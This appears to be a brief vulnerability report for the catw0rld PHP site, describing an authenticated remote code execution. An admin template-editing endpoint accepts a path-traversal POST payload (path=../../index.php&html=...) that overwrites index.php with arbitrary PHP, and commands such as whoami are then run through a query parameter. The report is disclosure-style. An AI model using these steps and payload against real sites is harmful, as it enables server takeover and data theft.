Code execution vulnerability causes RCE

[catw0rld]

1. log into the background of the site
   url: /index.php/admin/passport/login.html
2. Add vulnerability URL
   url: /index.php/admin/Template/fileedit
   Convert to a POST request
   
   let contract
   
3. Access index.php generated in the root directory
   url: /index.php?a=whoami
   

Code audit

The vulnerability file is located at: /application/admin/controller/Template.php -> fileedit()

$path and $html We controlled,$rootpath Path splicing
And the PATH variable can be passed through .. / directory
The variable HTML is written to our PHP code
The HTML is decoded, but it has no effect on the PHP code
So we can find an existing file to overwrite the writing.
POST payload is:
path=../../index.php&html=(you php code)
Finally, the command is executed at index.PHP